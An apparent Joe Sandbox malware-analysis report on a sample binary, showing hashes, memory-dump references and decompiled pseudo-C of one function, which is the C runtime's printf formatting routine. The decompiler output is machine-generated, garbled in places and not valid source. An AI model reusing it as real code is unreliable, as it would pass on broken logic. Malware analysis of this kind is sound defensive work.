Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction ID: 739f79f80a3983461b50afe37aa637ff92f2767330c6d876a9c233da19b20554
Opcode Fuzzy Hash: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction Fuzzy Hash: 7B4117B1E102299FDB24CF48C991BAEB7B4FB89314F1091DAE148B7201C7385E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00434F8B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434F8B(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E00428360(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E00428360(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E00428360(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E00428360(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E00428380(_t699 + 0x14);
										_t702 = _t701 + 4;
										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E00428380(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E00430780(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E00430800( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C3D0( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M00435560))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E00431210( *(_t699 - 0x251) & 0x000000ff, E0041ACE0(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E004281F0( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E004281F0( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E210();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422D00(_t614))) = 0x16;
																									E00422A90(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041ACB0(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x435598; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435580))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x4355c0; // 0x4dce9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004355AC))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E210();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422D00(_t616))) = 0x16;
																						E00422A90(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041ACB0(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
																						return E0042BCB0(_t518, _t589,  *(_t699 - 0x48) ^ _t699, _t663, _t697, _t698);
																					}
																				}
																			}
																			L219:
																			if( *(_t699 - 0x25c) == 0 ||  *(_t699 - 0x25c) == 7) {
																				 *(_t699 - 0x334) = 1;
																			} else {
																				 *(_t699 - 0x334) = 0;
																			}
																			_t603 =  *(_t699 - 0x334);
																			 *(_t699 - 0x2e0) =  *(_t699 - 0x334);
																			if( *(_t699 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E210();
																				_t702 = _t702 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t699 - 0x2e0) != 0) {
																				 *(_t699 - 0x300) =  *(_t699 - 0x24c);
																				E0041ACB0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422D00(_t603))) = 0x16;
																				E00422A90(_t589, _t603, _t697, _t698, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t699 - 0x2fc) = 0xffffffff;
																				E0041ACB0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t699 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t699 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t699 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t699 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t699 - 0x14)) = 0x20;
																						 *(_t699 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t699 - 0x14)) = 0x2b;
																					 *(_t699 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t699 - 0x14)) = 0x2d;
																				 *(_t699 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t699 - 0x2c4)) =  *((intOrPtr*)(_t699 - 0x18)) -  *((intOrPtr*)(_t699 - 0x24)) -  *(_t699 - 0x1c);
																		if(( *(_t699 - 0x10) & 0x0000000c) == 0) {
																			E00428290(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		E004282D0( *(_t699 - 0x1c), _t699 - 0x14,  *(_t699 - 0x1c),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																		_t702 = _t702 + 0x10;
																		if(( *(_t699 - 0x10) & 0x00000008) != 0 && ( *(_t699 - 0x10) & 0x00000004) == 0) {
																			E00428290(0x30,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		if( *(_t699 - 0xc) == 0 ||  *((intOrPtr*)(_t699 - 0x24)) <= 0) {
																			L212:
																			E004282D0( *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 0x24)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t699 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 4));
																			 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t699 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t699 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t699 - 0x2c8))));
																				_t563 = E00434220(_t699 - 0x2d0, _t699 - 0x2d8, 6,  *(_t699 - 0x32e) & 0x0000ffff);
																				_t702 = _t702 + 0x10;
																				 *(_t699 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 0x2c8)) + 2;
																				if( *(_t699 - 0x2dc) != 0 ||  *((intOrPtr*)(_t699 - 0x2d0)) == 0) {
																					L209:
																					 *(_t699 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E004282D0( *((intOrPtr*)(_t699 + 8)), _t699 - 0x2d8,  *((intOrPtr*)(_t699 - 0x2d0)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																					_t702 = _t702 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t699 - 0x24c) >= 0 && ( *(_t699 - 0x10) & 0x00000004) != 0) {
																				E00428290(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																				_t702 = _t702 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t156 =  *(__ebp - 0x324) + 0x43562c; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004355F0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428360(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xf2632e26
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xf2d1ae26
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
